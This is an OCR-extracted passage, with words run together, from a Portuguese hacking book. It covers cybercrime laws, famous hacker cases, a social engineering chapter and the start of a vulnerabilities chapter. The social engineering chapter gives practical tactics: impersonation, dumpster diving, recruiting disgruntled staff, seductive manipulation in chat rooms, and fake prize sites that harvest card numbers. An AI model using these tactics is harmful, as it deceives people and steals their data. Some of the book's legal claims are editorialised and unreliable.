  • Universidade1°ano Violaçãode segredoarmazenadoem computador,meio magnéticode naturezamagnética,óptica ou similar. Art. 12°.Obtersegredos,deindústriaou comércio,ou informaçõespessoais armazenadasemcomputador,rededecomputadores,meioeletrônicodenatu- rezamagnética,ópticaou similar,de formaindevidaou nãoautorizada. Pena:detençãodeuma trêsanose multa. Criação,desenvolvimentoou inserçãoemcomputadorde dadosoupro- gramade computadorcom fins nocivos Art. 13°.Criar,desenvolverou inserir,dadoouprogramaemcomputadorou rededecomputadores,deformaindevidaounãoautorizada,comafmalidade deapagar,destruir,inutilizarou modiflcardadoouprogramade computador ou dequalquerformadiflcultarou impossibilitar,totalouparcialmente,a uti- lizaçãodecomputadorou rededecomputadores. Pena:reclusãode uma quatroanose multa. Parágrafoúnico.Seo crimeé cometido: I - contrainteresseda União,Estado,DistritoFederal,Município,órgãoou entidadedaadministraçãodiretaou indiretaou deempresaconcessionáriade serviçospúblicos; 11- comconsiderávelprejuízoparaa vítima; III - comintuitode lucro ou vantagemde qualquerespécie,própriaou de terceiro; IV - comabusodeconfiança; V -por motivofútil; VI - como usoindevidodesenhaouprocessodeidentiflcaçãodeterceiro;ou VII - coma utilizaçãodequalqueroutromeiofraudulento. Pena:reclusãodedoisa seisanosemulta. Veiculaçãodepornografiaatravésde redede computadores Art.14°.Oferecerserviçoou informaçãodecaráterpornográfico,emredede computadores,semexibir,previamente,deformafacilmentevisívele destaca- da,avisosobresuanatureza,indicandoo seuconteúdoe a inadequaçãopara criançaou adolescentes. Pena:detençãodeumatrêsanose multa. Comopodemosnotar,o projetoé abrangente,lidandocomassuntosquevão desdeinvasõesatéa criaçãodevíruse programasquepossamdanificardados alheios.Com certeza,a "naçãohacker"teriaa maioriados seusatoscoibida casoaleiestivesseemvigor.Mas,alémdoprocessodeaprovaçãodalei,o gover- no temdeprovercondiçõesparaqueelassejamexecutadas. 1117I ]FundamentosJurídicos
  • IUniversidade Leis internacionais após o dia 11de setembro de 2001 Nos Estados Unidos da América Apóso fatídicodia11desetembrode2001,caracterizadopelosatentadosao WorldTradeCenterepentágono,muitacoisamudouemrelaçãoàvidadoshackers no âmbitointernacional.No mesmodiaemqueosaviõesderrubaramastorres doWTC, os agentesdo FBI já intimavamos maioresprovedoresde acessoa instalaremo softwareCarnivore,conhecidopelasuacapacidadedeftltrarmen- sagensdee-mailembuscadepalavrase expressõesrelacionadasaoatentado. Além disso,o governoamericanodiminuiuos entravesjudiciaisparao usodeescutastelefônicas,eliminoua necessidadedeprovase atérevogou a lei queproibiaa CIA de organizarassassinatoscontrainimigosexternos. Estudosrealizadospelo Pentágonosobreo ciberterrorismomostraramque ataquesde crackerspoderiampararo país,já queosreservatóriosde água, energiaelétricae gássãocontroladospor centrosde computaçãoque po- demserinvadidosremotamentede maneiraridiculamentefácil. Uma dasleis criadaspelo departamentofoi a USAAct, que possuiuma seçãoespecialvoltadapara o ciberterrorismo.O USAAct prevêpunição para toda formade vandalismoeletrônicoque possaatingir empresase cidadãos,incluindoinvasõesvindasde outrospaíses.Issosignificaque, se rastreado,o invasorserápunidode acordocomasleis internacionais. Comasnovasleise medidasamericanas,os legisladoresamericanostransfor- marammilharesde crackerse hackersemterroristaspor definição.Um dos parágrafosdaPATRIOT(provideAppropriateToolsRequiredto Interceptand ObstructTerrorismAct) diz o seguinte:aqueleque,comconhecimento,cause transmissãodeumprograma,informação,códigooucomandoe,comoresultado detalconduta,intencionalmentecausedanosemautorização,paraumcomputa- dor protegido[estaráemviolaçãodesteestatuto].Issosignificaque,comofoi ditoantes,hackersviraramterroristasparaosamericanos.Comosejánãofosse suficiente,serconsideradoterroristapraticamentesignificaprisãoperpétua. Estáemelaboraçãoum conjuntode novasleis (na verdadea ratificação legalda DoutrinaBush)chamadode HomelandSecurityAct, que promete endurecero cercoaosinimigosdosEstadosUnidosemtodasasfrentes:mi- litar,comercial,armamentista,política e digital.Espereparaver embreve açõesparamilitaresnorte-americanasemoutrospaísesvisandoprenderou assassinarpessoasacusadasde hackerismo. A leiamericanapodefuncionarcomoummodeloparadefinirospadrõesmundi- aisquesãodiscutidosanualmentepelaInterpol,quecriouumadivisãoespecial,a UnidadedeCrimesdeAltaTecnologia,paracombateroscrimeseletrônicos. 1118I FundamentosJurídicos[
  • Universidade1°ano Na Europa A maiorpartedosgruposeuropeustomoumedidassemelhantesàsdosEsta- dosUnidos.Todasbaseadasno rastreamentode informaçõespessoaissemqual- queravisoprévio,dandopoderaosseusagentesdevasculharascaixasdemen- sagensdequalquerprovedor.A adoçãodo padrãonorte-americanomostramais umavezqueo mundoestápróximodeestabelecerumaforteestratégiadecom- bateaoscibercrimes,o quevaiprejudicarmuitoa açãodosvândalosdigitais. Comoefeitocolateral,ferirátambémalgunsdireitose aprivacidadedecidadãos reconhecidamenteinocentes("Matetodos!Um delesé terrorista..."). Casosdehackersfamosos Parao governoelessãocriminosos.Paraanaçãohacker,heróis.Vamosapre- sentardoisdoscasosmaisconhecidosde aplicaçãode leiscontraos crimes eletrônicos.DmitrySklayroveKevinMitnicksãodoisótimosexemplosdecomo asleisinternacionaisrelacionadasàinvasão,hackeamentodesoftwareeutiliza- çãodeengenhariasocialsãoaplicadasnarealidade. orusso que"hackeou"a Adobe o programadorrussoDmitry Sklayrovfoi acusadode comercializaruma ferramentaque quebraasmedidasde segurançado programaAdobeBook Readerlogoapósdarumapalestrasobresegurançana DefConemjulho de 2001.O AdvancedeBookProcessorpodequebrara senhadesegurançacriada pelaAdobe,transformandoum e-bookcriptografadoemum simplesPDF.Ele foi enquadradonalei quevisaaproteçãodo direitointelectualparaosprodu- tos digitais,o DigitalMilleniumCopyrightAct,dispositivohorrendoe nazista maisconhecidocomoDMCA. A partemaisestranhaé queaprópriaAdobedecidiuretirarasacusações.As críticasinternacionaise asameaçasdeboicoteforamosprincipaismotivosque fizeramcomquea empresafizesseumarevisãodeconsciência.Apesardisso,a situaçãodeDmitrynãomelhorouemnada,poiso governoamericanonãoreti- rou asacusações. ApóspagarumamultadeUS$50mil e ficardetidonaCalifórniapor cinco meses,o russoobtevea liberdadepor meiodeumacordoemqueapoiariao governonorte-americano.A condiçãoimpostafoi a de ficar sob observação duranteumano,e sóentãoeleseriaabsolvidocompletamente. 1119 1 I FundamentosJurídicos
  • IUniversidadeH4CK3RI o hackermaisfamosodomundo Um dosmaioresídolosdanaçãohacker.A históriade KevinMitnickcom certezadariamaterialparaumaverdadeiraenciclopédia.Em1989foi procura- do pelo FBI acusadode roubarum softwaresecretode pesquisadaDigital EquipmentCorpoE a Cortenorte-americanadecretouqueo hackerseriapreso semdireitoàfiança.A Cortejustificoudizendoqueelerepresentavaumaame- açaà comunidadee mesmoà segurançanacionalaoutilizarumteclado. Apósumanodeprisão,Mitnickfoipostoemliberdade,masempoucotempojá estavaviolandoos termosde suacondicional.Em 1992erasuspeitode ter crackeadosistemasdeinformáticaeobteracessoaosregistrosdoFBI.Emnovem- brodomesmoano,Mitnickdesapareceumisteriosamentesemdeixarrastros.As autoridadesachavamqueeleestariausandofalsasidentidadesparaseesconder. Em 1994,o hackerse deparoucom o especialistaem segurançaTsutomu Shimomura,do CentroNacionalde Supercomputação,em SanDiego, na Califórnia.Elehaviaalteradoo sistemapessoaldeShimomura,queficouindig- nado,poisseconsideravaumdosmelhoresespecialistasemsegurançadopaís. Mitnickganhouacessopor meiodeum computadordaLoyolaUniversity,de Chicago,autorizadoa mandarinformaçõesparaa máquinado especialista.A partirdesseponto,foi armadoumesquemaemconjuntocomo FBI paraen- contraro hacker.Shimomurainstalouum computadorparamonitorartodas asaçõesrealizadasemseupróprioequipamento. Mitnicknãofaziaidéiadaoperaçãomontadae continuoucomosataques.No dia 15de fevereirode 1995,foi localizado.Ele passoucinco anosna cadeia apósinvadirempresascomoa Motorolae a Nokia.Duranteessetempouma legiãode fãslutoupor sualiberdade,organizandomovimentoscomoo Free Mitnick.Eleaindasofreu23acusaçõesfederaisdefraudenosistematelefônico por usoilegaldecomponentesdeacessoparaevitartarifas,alémdeserconsi- deradocomo"terroristada informática"pelo governoamericano. 1120I Fundamentos Jurídicos r
  • Engenharia8 Gela Capítulo For hard cash we wil!fieand deceive. And evenourmasters don'tknow the webs we weave"7 Pink Floyd,"Dogs of War" 1 "Por dinheiro g-rosso nos InentireulOs e eng-anareInos. / E nem nossos Inestres sabeuJ das teias que teceIIlos ': Do tilbum A Momentary Lapse of Ileason,1987
  • I UniversidadeH4CK3RI Estecapítuloé bemcurto,secomparadocomosoutros,menostécnicos.Tam- bémé aparentementeo maisdistantedo queseesperadeumlivrocomoeste. Masnãose engane:asinformaçõesaquicontidassãoasmaisimportantesde todo o livro. Um ataquemuito complicadopode se transformarem algo simplíssimo,casoa engenhariasocialsejaempregada.Portanto,antesdeque- brara cabeçacomsoluçõespuramentetecnológicas,penseprimeiroqueenga- naro alvoe fazê-Iotrabalharparavocêpeloladodedentroé muitomaisrápido. O objetivodastécnicasaquiapresentadasé a aquisiçãode informaçõesvitais sobreo alvoescolhido.Porinformaçõesvitais,alémdasóbviascomodadosfman- ceiros,pessoaise hierárquicos,entende-seasidiossincrasiastécnicase políticas daempresa:instalaçõesfisicase lógicas,topologiasderede,políticasdesenhase chavesdecriptografia. O termoengenhariasocialpodeparecernumprimeiromomentoalgodistante douniversohacker.Basicamente,significaa"garimpagem"deinformaçõesvitais sobreumadeterminadapessoa,empresa,produtoouorganização.Essasinforma- çõessãoprovenientesquasesempredepessoaspróximasaoindivíduoaserata- cadoou do próprioquadrode funcionáriose clientes- no casode empresas. Dessaforma,podemosencararo termocomosinônimodeespionagem,queutili- zatáticasquevãodesdecartase telefonemas,passandoporpesquisasnosdepó- sitosdelixo atéa abordagempessoal. Astécnicasdeengenhariasocialexigemumapreparaçãopsicológicaprofunda e contínua.O candidatoa invasordeveestarprontoparaestudaro comporta- mentodo seualvoe entendermelhorseumodusoperandi,incluindoatéo monitoramentodehorários.Mesmocominvestimentospesadosnaáreadesegu- rança,grandepartedasempresas(senãotodas)nãoestápreparadaparalidar comessefator.Lembre-sedequeo espiãousaráaboavontade,acortesia,a inge- nuidadedaspessoase mesmoasnormasdaempresaparaenganarasvítimas. Atencão:issoé crime! I O mundodaengenhariasocialpareceseralgomuitotentador.Mas,diferente doscrimesdigitais,quenãopossuemumalegislaçãobemdefinidano país,to- dasastécnicascitadassãoconsideradascrimespassíveisdepunição,quevão desdeo pagamentodemultasatéadetenção.A interpretaçãolegalbaseia-sena configuraçãodosatosdeengenhariasocialcomofalsidadeideológica,caracte- rizadapelaincorporaçãodeumaidentidadealheia(impostura)seguidadefraude. Dependendododestinodadoàsinformaçõesrecebidas(porexemplo,emcaso defraudefinanceira),o invasorresponderátambémpelocrimedeestelionato. O propósitodestecapítuloé demonstrarsuperficialmenteastécnicasutiliza- dasnaengenhariasocial.É importantequetodosconheçamessastécnicas,mas nãorecomendamosaninguémutilizá-Ias:pelasleisbrasileirase damaioriados paíseselassãoconsideradaspráticascriminosas,compuniçõesbemseveras. 11241 EngenhariaSocial[
  • Universidade1°Ano Tipos de ataque Existembasicamentedoistiposdeataques:o diretoe o indireto.A eficiência delesdependedashabilidadespessoaisdo hackere do quantoeleseidentifica comosprocessos.Normalmente,é necessárioutilizarumacombinaçãodeam- bosparaobtero resultadodesejado.Parachegarà abordagemdireta,o invasor deveterconseguidoumabelacoleçãodeinformaçõesobtidasdemodoindireto. Sóassimpoderá"saberdoqueestáfalando"quandoabordarumfuncionáriodo teleatendimentoparaconseguirumasenhadeacessoaosistemaouenviaraque- le faxdizendoqueé o gerentedafilialsolicitandoinformações. Ataque indireto o ataqueindiretoconsistena utilizaçãode ferramentasde invasão(como cavalosdetróiae sitescomcódigomalicioso)e de impostura(comocartas, e-mailse sitesfalsoscoma aparênciadosverdadeiros)paraobterinformações pessoais.Osusuáriosindividuaisdequemo hackerextraiosdadossãoapenas vetoresparaa coletadeinformaçõesdeumaentidademaior- empresa,orga- nizaçãoougoverno.Suaintençãonãoé atacarcadaumdessesusuários,e simo organismomaiorao qualelaspertencem. Ataque direto Sãocaracterizadospelo contatopessoal.Geralmentesãofeitospor fax ou telefone(emborahackersmaisconfiantesousemfazê-Iospessoalmente...)e exigemplanejamentodetalhadoe antecipado,váriosplanosde emergência paracadaumadasfasesdo ataquepreviamenteplanejadase um pouco de domartístico.Sim,umbominvasortema obrigaçãodeserbomator.Estedeve serbemarticuladoparaqueseuplanonãosejadesmascarado,e tambémter raciocíniorápidoparaencontrarsaídascasoalgoforadoplanejadodêerrado. Métodosutilizados É óbvioquetodoessefalatóriosobreataquesdiretose indiretosé extrema- mentevago.Na prática,existemalgumastáticassimplesquedevemserusadas naelaboraçãodoprocedimentodeataque.Asprincipaisarmasdeumengenhei- ro socialpodemserdivididasemdoisgrandesgrupos:pesquisae impostura. Comecemospelapesquisa.A aquisiçãodematerial,comorelatóriosanuaise listadepagamento,podedarumaótimavisãodahierarquiaadotadanaempresa. Issoajudamuitonahoradaseleçãodosalvospontuais(lembre-se:umpedacinho deinformaçãoextraídodecadausuárioresultaemumbolovaliosíssimoquando reunidoàsoutraspequenasinformaçõesextraídasdosoutrosusuários).O hacker podedescobrirquemdetémo materialnecessárioparaainvasãoe outrasinforma- çõesimportantesparao ataque,comodepartamentoemquea pessoatrabalha, softwaresutilizados,sistemaoperacional,hardwaree sistemasempresariais. 1125I ] EngenhariaSocial
  • I UniversidadeH4CK3RI Observequenemsempreosdadosúteisestãoescritos:umaanálisedosresulta- dosdesuabusca,compreendendocombinaçõesecruzamentodeinformações,é importantíssima."Lernasentrelinhas"nuncafoi tãonecessário... Mesmoassim,apesquisaé sóo começo.Depoisdedescobrirquemguardaas informaçõese quaissãoelas,o hackerdevepensarnosmeiosqueutilizarápara extrairmaisdados.É nessepontoqueentraa impostura:o hackerdevesefazer passarpor outraspessoas(sejadaprópriaempresa,sejaclientes,fornecedores, sejaatéagentesdogoverno)para,depossedasinformaçõesjá"garimpadas",anga- riardadose documentosmaissérios,específicose,principalmente,valiosos. A seguirvamosfalarsobremétodosutilizadosparaa aquisiçãode dados vitaisdasempresas,tantoemataquesdiretosquantoindiretos. Disfarces Comoumbomespião,o engenheirosocialdevedispordediversosdisfarces paraalcançarseusobjetivos.Entreelesdevemconstardesdesepassarpor faxineiroatéconsultoremvisita.Certasempresasadoramreceberconsultores de empresasfamosas.Paratanto,bastaapenasqueo hackertenhaumterno, boalábiaeumcrachá.O fatoridadenãoé maisumproblematãogrande,poiso perfIldoprofIssionaldeinformáticaé cadavezmaisjovem,bastaapenastratar umpoucodaaparênciae dalinguagema serutilizada. A incorporaçãodopersonagemé umfatordegrandeimportânciaparao su- cesso.Imagineum hackerdisfarçadode faxineiro.Ele simplesmentenãovai andaratéalatadelixo,separarospapéisdeseuinteresseevirarascostas,será atéestranhoseninguémsuspeitar.Eledevefazertodoo serviçodesdelimpara mesaatévarrero chão,conseguindomaisoportunidadesparaentendero que aconteceaoseuredor.Depoisdeumcertotempo,aspessoaspassamaconfIar maise o invasorpodetranqüilamentelimparasmesasrepletasdematerialim- portanteparao desenvolvimentodeumataquebem-sucedido. o Lixoé rico! o lixo deumescritórioé,potencialmente,umadasmaioresfontesdeinforma- çõesparao hacker.Geralmenteé nelequeaspessoasjogamaquelespedaçosde papéisemqueanotamsuassenhasantesdememorizá-Iasou transcreverpara umaagenda.Alémdisso,o lixodeumagrandeempresarecebedezenasderelató- riosquepodemparecerbanaismasque,naverdade,guardaminformaçõessobre o patrimôniodaempresa,funcionárioscadastradose aspectosdossistemas. A faltadepreocupaçãosó comessefatorisoladopoderenderumainvasão bem-sucedidae aindaajudaro invasora limparseusrastros.Muitasvezes,ele mesmopodeestarlápararecolhero lixo dasalado administrador.Obviamen- te,issodependemuitodaperíciadohackere doquantoelerealmenteprecisa dasinformações,casocontrário,elepodeesperaratéqueo materialsejaposto paracoleta,o quenãoseriamuitorecomendado. 1126I EngenhariaSocialI
  • Universidade1°Ano Funcionários descontentes e redes de contatos Talvezsejaafonnamaisfácildeconseguirinfonnaçõesdentrodeumaempresa.Mui- tasvezesPOderustarumcertovalor(nemsempreemdinheiro...),masissovaidePender doteordeinsatisfaçãodo fundonárioparacomaempresaemquestão.Exploraraftagi- lidadedepessoasinsatisfeitascomascondiçõesdetrabalhoémuitomaissimplesdoque POdemosimaginar.É muitofácilparao administradorinsatisfeitocomo saláriofalaralgo quepossaprejudicarseussuperioresdealgumafonna.Nemsempreelessãoúteisapós saíremou seremdemitidos,poisapolíticadasempresaséadetrocarassenhas. Não se deve esquecerque os funcionários de uma empresapossuem uma rede de contatos,dentro e fora dela. Isso também é válido para os descon- tentes,que podem fornecer ao hacker informaçõesvaliosassobre outraspes- soase sobre caminhospara chegara maisdados. oapelo sentimental o invasorpodeincorporaroutrapessoa,commuitomaisfacilidade,no mundovirtu- al.Vamossuporqueo hackerquerinvadirum computadorqualquerna Internet.Ele procuraumasaladechateobservasilendosamenteaconversapor umtempo.Depois, saidasalae entranovamentecomalgumapelidodosexoopostoaodavítimaescolhi- da.A partirdessepontoé fácilconquistara confiançado internautae ganharacesso aosseusdadospessoaismaisimportantes,usandoapenasastécnicasde seduçãoe conquistaquetodosnósconhecemose que,mesmoassim,fundonam.Observeque homensemulherespossuemmaneirasdiferentesdeseremconquistadose seduzidos. Programação neurolingüística Ao secomunicarcomqualquerpessoa,é possívelutilizartécnicasdeprogramação neurolingüísticaparaconfundira pessoae fazê-laconcordarcom você.Consegue-se issodediversasformas,sendoamaisóbvia(equefuncionaemquase100%doscasos) fazercomqueavítimaacreditequenarealidadeaidéiafoidela.Umadastécnicaspara confundiravítimaé a chamadaacompanha-acompanha-acompanha-comanda:o hackerimitao jeitodeescrever,defalareatéagesticulaçãodeseuinterlocutor.Fazisso porumbomtempoduranteaconversa,atéqueumelodeintimidadese formee a vítimapensequeestáno comando,baixandoa guarda.A partirdaí,o hackerpode comandaraconversasemqueavítimapercebaesugardelatudoo quefornecessário. A utilização da Internet Uma formaeficazde conseguirasinformaçõesdesejadasé atravésde formulá- riose cadastrosnaInternet.Sitesqueoferecembrindesparaquemse cadastrar e promoçõesqueprometemosmaisvariadostiposdeprêmiospodemnãopas- sarde instrumentosutilizadospelos hackersparaconseguirumavastaquantida- dedeinformaçõessobreosinternautas.Entreelas,estãodadospessoaise dicas sobreo comportamentoda futuravítima.Essatécnicaé utilizadaprincipalmen- teparaaobtençãodenúmerosdecartõesdecréditoe dadoscomo CPF e RG. 11271 ] Engenharia Social
  • IUniversidadeH4CK3RI o fatorsorte Há muitoscasosemqueosprocedimentosdeengenhariasocialsãofacilita- dospordescuidosdosusuáriosedosadministradoresdoparquedeinformática dasempresas.Àsvezes,mesmoempresasmuitosegurasdeixamescaparuma,e apenasuma,informaçãonãoóbvia.Seo hackertivera sortedetropeçarnessa informação,seuprocessodeengenhariasocialpoderáserabreviadoemvários dias,àsvezessemanas.Oreilleattentiveet bon vouloir!2 Navegandopelomar proibido Mesmodepoisdeinvadidos,umcomputador,umsiteouumaempresasãoum quebra-cabeçacomplicadoparao invasor.Até entãoestepossuíaas informa- çõessobreaperiferia.Agoraeletemacessoirrestritoa todasasáreasdo local invadido,masqueparaele separecemaiscomum labirinto.O controlede acessoe usuáriosinternosde empresas,por exemplo,normalmenteé menos rigorosoqueosprocedimentosdesegurançadaspartesvisíveisexternamente (site,e-mail,gatewayse Internet).Masaindaassim,umavezdentro,o invasor deveráquebrarsenhas,contornardispositivosdesegurançaoumesmoutilizar novamentea engenhariasocialparaobterinformaçõescadavezmaispróxi- masdonúcleo.Esteé umprocessosemftm';-) Casosreais Os hackerslistadosnesta"galeriadafama"ganharamnotoriedadepor seus ataquesmuitobemengendradosepelassomasfabulosasemdinheiroqueforam capazesdemovimentar.Maslembre-se:hackers,quandosãorealmentebons,não sãoapanhados... Abraham Abdallah Em2002,o hackere.lavadordepratosAbrahamAbdallahrecebeuacusações de fraudesdaordemdeUS$80 milhões.Utilizando-sedarevistaForbes,que publicouumalistacomas400pessoasmaisricasdosEUA,eleroubouo número dediversoscartõesdecréditodepessoasfamosas.Utilizandotécnicasdeenge- nhariasocial,Abdallahenganoubancose empresasdecréditoparaconseguiras informaçõesparao seugolpe. Chegoua montarumaredede caixaspostaisparareceberasencomendas quefaziacomo dinheiroroubado.Foidescobertopelapolíciaaotentarretirar umaquantiaacimado saldoexistentedeThomasSiebel,fundadordaempresa dee-commercechamadaSiebelSystems. 2 "Orelhaatentae boa vontade""- expressãomuito empregadano textoAs Mil e Uma Noites - Narrativasde Sabedoria(LesMille et UneNuits - RécitsSapientiaux.Traduçãoparao francêsdeRené R. Khawam,ÉditionsAlbin Michel,França).O original emárabeé impronunciávelpara os ocidentais. 1128I EngenhariaSocial[
  • Universidade1°Ano Kevin Mitnick KevinMitnickjáfoiumdoscriminososmaisprocuradospeloFEI,devidoaos crimesdigitaisque cometeu.Após ganhara liberdade,ajudoua fundaruma empresadeconsultoriaespecializadaemsegurança,aDefensiveThinking.Esse é umfatoquechegaa surpreendermuito,poisMitnicktomou-seumsímbolo daengenhariasocialaoplanejare realizarseusataquesaossistemasde gran- desempresaspelomundo. Eleusouasartimanhasdaengenhariasocialpelaprimeiraveznosanos70,ao conhecerumestudantequelidavacom"phreaking"(o hackeamentodelinhas telefônicas).Elepercebeucomoosphreakersagiam,fazendo-sepassarpor Íllll- cionáriosdascompanhiastelefônicas.Começoua tentarcomamigose profes- sorese sentiu-semotivadoapósnotarquetinhafacilidadeemconseguirinfor- maçõesconfidenciais.Elefoi evoluindosuastáticasatéo pontoemquenenhu- maempresaestavamaisseguracontraosseusataques. Sualistadeataquesincluidesdetelefonemasinocentesaosetorde suporte atéa incorporaçãode funcionáriosimportantesparaconseguirinformações comosenhasparaobteracessoa grandessistemasda empresa.Dessaforma, Mitnicktornou-seumalendaparaapopulaçãohackeraoredordo mundo. Alémdesses,podemoscitar,comlouvor,outroshackersqueseutilizaramde engenhariasocialparaatingirseusobjetivos: ~O polonêsVIadimirLevin,quedesvioumaisdedezmilhõesdedólaresde contasno CityBank; ~RaphaelGray,queroubouquase30mil cartõesdecréditonosEstadosUni- dose, comumdeles(queelealegaserdeBill Gates),comprouumacaixade Viagrae aremeteuaopróprio; ~JeromeHeckenkamp,inglêsde 22 anos,quepediuaojuiz paraserpreso depoisdeinvadirsitescomoo eBay,Lycose eTrade; Poderíamospreenchercompletamenteestelivro citandodiversoshackers famosos(inclusivebrasileiros).Apenasestesexemplos,entretanto,mostram comoasestruturasdesegurança,quejásãoruinsno campotecnológico,ficam pioresquandoo fatorhumanoentraemcampo. 1129I ] EngenhariaSocial
  • Vulnerabilidades Capítulo "! amaworld'sforgottenboy Theonewhosearchesanddestroys Lookouthoney,'cause/'musingtechnology Ain 'tgottimetomakenoapology"i The Stooges, "Search and Destroy" J "Eu sou um g'aroto esquecidopelo mundo / Aquele que vasculhae destroi / Estou usando tecnoJog'ia/ E por isso não tenho tempo para me desculpar': Do album Ilaw Power. 1973.
  • I Universidade H4CK3R I Imagineumanaçãocomoos EstadosUnidosdaAmérica.Forte,rica,militar- menteimbatível,tecnologicamentemuitoà frentede qualqueroutra.É muito difícilimaginarqueumanaçãocomoessapercaumaguerrasendotravadaem algumpaísdistante.Mesmoque,por algummotivo,percatalguerra,osdisposi- tivosnacionaisdedefesanuncadeixariamqueumataquequalquer(militarou terrorista)chegassepertodasfronteirasdo país.Certo? Bem,11desetembrodeixouclaroqueninguémpodeprevertudo.Osterroris- tasatacarampor ondefoi maisfácil,usandopessoascomuns- cidadãosameri- canos- e atuandoempontosreconhecidamentevuneráveis- afracasegurança dosaeroportos.Quempoderiaimaginarque aviõescomerciaisseriamusados comomísseisparaderrubarastorresdoWorldTradeCenteremNovaYork?Se pensarmosbem,a idéiaé tãoinsanaquechegaa sergenial(dopontodevista dosterroristas,obviamente):foi deverasfácilcausartodoaqueledano. Administradoresde sitese de redese mesmonós,usuárioscomunsde informática,temoso mesmodilema.Aplicamoscorreçõesde segurançalibera- dospelosdesenvolvedoresdosprogramasqueusamos,instalamosflrewalls,anti- vírus,removedoresde trojanse todaumaparafernalhatecnológicaparadesco- brir,depoisdealgunsdias,quenãoadiantounada:bastouumgarotode 12anos commuitavontadee másintençõesparainvadirnossossistemase fazerum beloestrago. Infelizmentemesmoo usuárioleigodevesepreocuparcoma segurançade suasinformaçõese sistemasde informática.Hojenãobastatrocara fechadura daporta:seo seuforrofordemadeira,osladrõesentrampeloteto.Assimcomo devemosmodillcar(desflgurar?)nossascasasparatorná-Iasmaisseguras,te- mosdeestaratentosatodososburacosnãoóbviosqueosprogramasosquais usamosapresentamparaos terríveischapéuspretos2. Nocõessobrevulnerabilidades I oestudodasvulnerabilidadesexistentesdevefazerpartedarotinadobomhacker (err...do mautambém...).Diariamente,listasdediscussãoe sitesespecializados liberamlistase maislistasdefalhasemsistemasoperacionaise servidores.Consi- derandoque,sevocêestálendoestelivroeestánestecapítulo,vocêestáquerendo aprender.Utilizar-sedetécnicasjáconhecidase divulgadasé o trampolimpara,no futuro,descobriressasvulnerabilidadesantesdosorganismosdedefesa.Mesmoum hackerexperientetemde estaratentoa essaslistas,casoalgumusuárioqueira facilitarseutrabalhoe deixarseucomputadordesatualizado. 2 No capítulo 1,Psicologia Hacker,vimos diversostipos de hackers divididospor habilidade.Mas o grande universodo submundodigitalpode serdividido,semlevaremcontaashabilidadesindividuais,entrea comunidade do bem e a legiãodo mal.Os do primeiro tipo são chamadosde chapéusbrancos,ou white hats.Já os malidosos se autodenominam chapéus pretos, ou black hats. Há os que trabalham no limiar dos dois tipos e são chamadosde greyhats (chapéuscinzas).Em tempo:a Red Hat,Ine. (www.redhat.com)não temnada com isso... 1132I VulnerabilidadesI [
  • Universidade1°ano Normalmente,hátrêstiposdefafuasquepodemserexploradas: 1.Fafuasqueafetama disponibilidadedamáquina("tirá-Iadoar").Issopode serfeitode diversasmaneiras,umadelas(masnão a única)é a negaçãode serviço(ouDoS). 2. Falhasquepermitemo acessolimitadoao sistema.É o quecomumente chamamosde"invasão".Nelaincluem-sefafuasdosoftwaree falhasdeconfigu- ração(ouseja,humanas).Asfalhasdesoftwaremaiscomunspodemserexplo- radasdiretamenteoupor algumtipodeestourodepilha(o famigeradobuffer overflow).Já a falhahumanamaiscomumé instalaro sistemae nãoaplicaras atualizaçõese patchesrecomendadospelofabricante.Tambémé comumdei- xar ascontas-padrãodo sistema(administrador,root,bin,operator,sysop...a listaé grande)ativasou comassenhasdefault. 3.Falhasquepermitema execuçãode código arbitráriona máquina.Pode ser o passoseguintedotipoanterior,oupodeserexploradodiretamenteporalgum tipodeexploit,sendoo bufferoverflowmuitocomum. Há outrostiposdefafuas,masno fundosãoespecializaçõesdessestrêsgran- desgrupos.Seo seuobjetivoéserumusuárioouadministradorbeminformado, estaratentoàslistasdesegurançaé umbompontodepartida,umavezquea maioriaesmagadorados autodenominadoshackers/crackersnãopassamde molequescomvontadedepicharalgumacoisa.Taisfedelhosnormalmentenão conhecemnadamuitoalémdodivulgadonessaslistas.É suaobrigaçãoSEMPRE atenderaosapelosdo seufabricantedesoftwaree atualizarosprogramasque vocêusaparaficarimunea essasfafuas.Senãoo fizer,o azaré seu:vaificarà mercêdeadolescentescommuuuitotempolivre... Superlammerse suavisãode Raio-X Qualquerfalhade segurançapossui característicasúnicas.Cadasistema operacionalecadaprogramaautônomoapresentaassuas,masgrandepartedas vulnerabilidadespermiteo acessoa áreasconsideradasrestritasde servidores e computadorespessoais- trocandoemmiúdos,todaestruturadediretóriosde todososdiscosrígidos. O grandeproblemadoslammerséqueelesnãotêmamínimaidéiadoqueestão fazendo.Enemqueremter:bastaencontraralgumsitedesprotegido,desfigurá-Ioe gozardosseuscincominutosdefama.Comseusconhecimentoslimitados,normal- menteusamumaabordagemdetrêsestágiosparadirecionarseusataques: 1. Buscapor computadoresvulneráveis Lammersnormalmentenãopossuemumobjetivodefinido.Nãoestãoatrásde prejudicaraquelacompanhiaouroubaro dinheirodaquelebanco.Pelocontrá- rio,vasculhamaInternetatrásdecomputadores(sejaservidores,sejapessoais) queestejamvulneráveisaospoucostiposde ataquequeelesconhecem.Para tanto,utilizam-sede ferramentasconhecidascomoscanners,que,apósforne- 1133I ]VulnerabilidadesI
  • IUniversidadeH4CK3RI cer um conjuntodemáquinasa sertestado,retomamlistasàsqueestiverem desprotegidas.ComoépossívelcolocarfaixasinteirasdeendereçosdeInternet neles,essaslistaspodemchegara centenasdecomputadorese sistemas. 2. Invasãoe posse Masdescobrirasvulnerabilidadesnãoé o suficienteparaexecutarumataque. Umavezencontradoo alvofácil,osscript-kiddies(outronomedadoaoslammers) utilizam-sede outrasferramentasparaexploraros buracosencontrados.Nor- malmente,nossosgarotostêmemmãosumabibliotecarazoávelde exploits- scriptse programasutilizadospara"desfrutar"dasfraquezasdavítima- para quesuadescobertanãosejaemvão.Háexploitspara"derrubar"a máquina-alvo e paracontrolá-Ia.Aplicadoo exploitapropriado,o lammer"owna"3o sistemae fazo quequercomele. 3. Manutençãodo ataque O lammersabequesuaglóriadurarápoucoe,portanto,instalano computa- dor invadidoprogramasquelhepermitamvoltarlá,mesmoqueo buracopor ondeentrousejaobstruído.Chamadosde backdoors- literalmente,portade trás-, sãorotinasextremamentesimplese eficientesque,utilizandoos recur- sosdo própriosistemaoperacional,permitemao invasorconectar-seposteri- ormenteao sistema.É comuminstalarmaisde um backdoor,e kiddiesmais sofisticadoschegamao cúmulo de instalarentre eles algumfacilmente detectável.Issoconfundeo administradordamáquina,fazendo-oacreditarque resolveuo problemaremovendoapenasaquele. Notequeestelivro tema intençãode apresentara portade entradadesse submundoaoleitor.Nenhumlivro,publicação,siteou FAQnaInternetensinará 